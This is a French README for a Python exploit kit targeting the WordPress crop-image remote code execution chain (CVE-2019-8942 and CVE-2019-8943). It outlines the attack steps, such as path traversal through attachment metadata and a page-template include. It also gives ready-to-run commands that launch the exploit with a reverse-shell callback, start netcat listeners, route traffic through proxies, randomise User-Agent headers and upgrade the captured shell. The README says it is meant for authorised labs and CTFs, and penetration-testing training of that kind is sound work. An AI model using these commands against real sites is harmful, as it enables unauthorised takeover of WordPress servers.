Kit d'exploitation Python pour WordPress Crop Image RCE — CVE-2019-8942 et CVE-2019-8943
Implémentation Python3 de la chaîne d'exploitation authentifiée du recadrage d'image WordPress. Le dépôt est organisé autour de deux flux de travail indépendants : un script manuel de style OSCP et un script entièrement automatisé avec un gestionnaire de reverse shell intégré.
À utiliser uniquement dans des laboratoires autorisés, des CTF, des plateformes de formation ou des systèmes pour lesquels vous avez l'autorisation explicite de tester.
La chaîne d'exploitation cible les vulnérabilités référencées sous :
CVE-2019-8942CVE-2019-8943Le module Metasploit public pour cette vulnérabilité décrit les versions concernées comme :
WordPress 5.0.0 and WordPress <= 4.9.8
Un compte WordPress valide avec les permissions de téléversement/modification de médias est requis. Dans de nombreux environnements de laboratoire, un utilisateur de niveau Auteur suffit.
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt
image.jpg est le conteneur JPG par défaut utilisé par le script de style OSCP. Il est inclus pour que le flux de travail manuel fonctionne immédiatement, sans avoir à chercher une image aléatoire.
autoexploit.py est autonome et inclut son propre conteneur JPG hexadécimal en interne, mais il peut également accepter un JPG personnalisé avec -i.
python3 -m pip install -r requirements.txt
Le seul paquet Python requis est :
requests
Si vous souhaitez le support du proxy SOCKS, installez requests avec les extras SOCKS dans votre environnement :
python3 -m pip install 'requests[socks]'
| Script | Idéal pour | Gestion de l'image | Gestion du shell |
|---|---|---|---|
exploit_oscp.py | Exploitation manuelle de style OSCP | Utilise image.jpg par défaut, ou -i custom.jpg | Vous démarrez nc manuellement |
autoexploit.py | Utilisation rapide en laboratoire et tests répétés | Utilise un JPG hexadécimal intégré par défaut, ou -i custom.jpg | Démarre l'écoute, déclenche les callbacks et ouvre une console interactive |
Les deux scripts sont autonomes. Aucun n'importe du code de l'autre.
exploit_oscp.py maintient le flux de travail explicite. Il prépare le conteneur d'image, exécute la chaîne d'exploitation WordPress authentifiée, confirme l'exécution de commandes et déclenche un reverse shell vers l'écouteur que vous avez démarré manuellement.
Il ne démarre pas automatiquement de gestionnaire et n'utilise ni Metasploit, ni Meterpreter, ni msfvenom.
Démarrez d'abord votre écouteur :
nc -lvnp 443
Exécutez l'exploit en utilisant le image.jpg par défaut :
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443
| Option | Requise | Défaut | Signification |
|---|---|---|---|
-t, --target | Oui | Aucun | URL de base WordPress cible, par exemple http://target.local/ |
-u, --username | Oui | Aucun | Nom d'utilisateur WordPress |
-p, --password | Oui | Aucun | Mot de passe WordPress |
-i, --image | Non | image.jpg | Conteneur JPG à préparer et à téléverser |
--lhost | Oui | Aucun | Votre IP de callback, généralement votre IP VPN/tun0 |
--lport | Oui | Aucun | Port sur lequel votre écouteur manuel attend |
--proxy | Non | Aucun | URL du proxy, par exemple http://127.0.0.1:8080 ou socks5://127.0.0.1:9050 |
--user-agent | Non | Intégré | En-tête User-Agent personnalisé |
--random-user-agent | Non | Désactivé | Utiliser un User-Agent aléatoire de type navigateur |
--timeout | Non | 20 | Délai d'expiration HTTP en secondes |
--debug | Non | Désactivé | Afficher la sortie de débogage HTTP et enregistrer les réponses échouées utiles |
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080
autoexploit.py est conçu pour la rapidité. Il peut s'exécuter avec uniquement les identifiants de la cible et tente de sélectionner automatiquement l'IP de callback et le port de l'écouteur.
Il effectue le flux d'exploitation complet, démarre un écouteur local, essaie plusieurs styles de payload de reverse shell et ouvre une console interactive plus propre avec des messages d'état locaux colorisés et une gestion discrète de l'amélioration du TTY.
python3 autoexploit.py -t http://target.local/ -u username -p password
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080
| Option | Requise | Défaut | Signification |
|---|---|---|---|
-t, --target | Oui | Aucun | URL de base WordPress cible |
-u, --username | Oui | Aucun | Nom d'utilisateur WordPress |
-p, --password | Oui | Aucun | Mot de passe WordPress |
-i, --image | Non | JPG hexadécimal intégré | Conteneur JPG personnalisé facultatif |
--lhost | Non | Auto-détecté | IP de callback utilisée par le reverse shell |
--lport | Non | Port local libre | Port de l'écouteur local |
--listen-timeout | Non | 12 | Secondes d'attente pour chaque tentative de reverse shell |
--proxy | Non | Aucun | URL du proxy, par exemple http://127.0.0.1:8080 ou socks5://127.0.0.1:9050 |
--user-agent | Non | Intégré | En-tête User-Agent personnalisé |
--random-user-agent | Non | Désactivé | Utiliser un User-Agent aléatoire de type navigateur |
--timeout | Non | 20 | Délai d'expiration HTTP en secondes |
--debug | Non | Désactivé | Afficher la sortie de débogage HTTP et enregistrer les réponses échouées utiles |
Proxy HTTP via Burp :
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
Proxy SOCKS :
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050
User-Agent personnalisé :
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"
User-Agent aléatoire :
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent
Il ne s'agit pas d'un téléversement PHP normal. WordPress attend un contenu d'image, traite le fichier via l'éditeur de médias et crée une image recadrée. La chaîne d'exploitation abuse ensuite des métadonnées de pièce jointe et d'un path traversal pour placer une image recadrée dans le répertoire du thème actif. Enfin, le fichier recadré est référencé comme modèle de page afin que WordPress l'inclue comme du PHP.
Un JPG aléatoire avec du PHP placé dans des métadonnées EXIF fragiles peut échouer car GD peut supprimer ou ré-encoder les métadonnées pendant le traitement du recadrage. Ce dépôt maintient le flux de travail clair :
exploit_oscp.py utilise le image.jpg inclus par défaut ou une image personnalisée passée avec -i.autoexploit.py contient un conteneur hexadécimal interne pour rester autonome.async-upload.php._wp_attached_file pour influencer le chemin de sortie du recadrage._wp_page_template sur le nom du JPG recadré.0.Vérifiez que la version de WordPress est vulnérable et que le compte peut téléverser et modifier des médias.
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug
Vérifiez l'IP de callback et l'écouteur.
ip addr show tun0
nc -lvnp 443
Exécutez ensuite le script OSCP à nouveau avec le bon --lhost.
Utilisez explicitement l'option proxy :
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
Installez le support SOCKS :
python3 -m pip install 'requests[socks]'
Les reverse shells de base sont souvent limités. Le script automatisé tente de mettre à niveau la session automatiquement. En mode OSCP, effectuez la mise à niveau manuellement après avoir reçu le callback :
python3 -c 'import pty; pty.spawn("/bin/bash")'
Appuyez sur Ctrl+Z localement, puis exécutez :
stty raw -echo; fg
Dans le shell :
export TERM=xterm
exploit_oscp.py est intentionnellement manuel :
autoexploit.py ;LHOST et LPORT explicites ;Le flux de travail prévu est :
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
La recherche et la chaîne de vulnérabilités ont été documentées publiquement par les chercheurs d'origine puis implémentées dans des frameworks d'exploitation publics.
Implémentation Python et flux de travail de laboratoire par SpeatX.
Ce dépôt est fourni pour les tests de sécurité autorisés, les CTF, les laboratoires de formation et la recherche pédagogique.
Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.